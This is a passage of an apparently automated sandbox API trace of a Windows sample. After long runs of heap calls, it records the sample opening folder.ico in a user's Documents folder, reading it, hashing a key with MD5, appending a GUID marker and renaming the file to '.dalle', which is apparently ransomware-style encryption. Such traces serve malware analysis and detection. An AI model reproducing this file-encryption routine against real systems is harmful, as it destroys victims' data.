(HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.699] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.700] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.701] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.701] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.702] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.703] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.703] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.704] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0121.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0121.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.704] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.704] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.704] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.704] PathFindFileNameW (pszPath="") returned="" [0121.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.707] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.707] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.707] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0121.707] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0121.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.708] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=29926) returned 1 [0121.708] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.710] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.710] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.712] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.712] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0121.713] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.713] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.713] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.713] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.714] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.714] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.714] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.714] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.714] GetLastError () returned 0x0 [0121.714] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.714] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.714] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.714] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.714] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.715] CloseHandle (hObject=0x618) returned 1 [0121.715] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.dalle")) returned 1 [0121.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.716] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.717] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0121.717] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0fc8 | out: hHeap=0x5e0000) returned 1 [0121.717] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.717] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x30948c8 [0121.717] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.718] 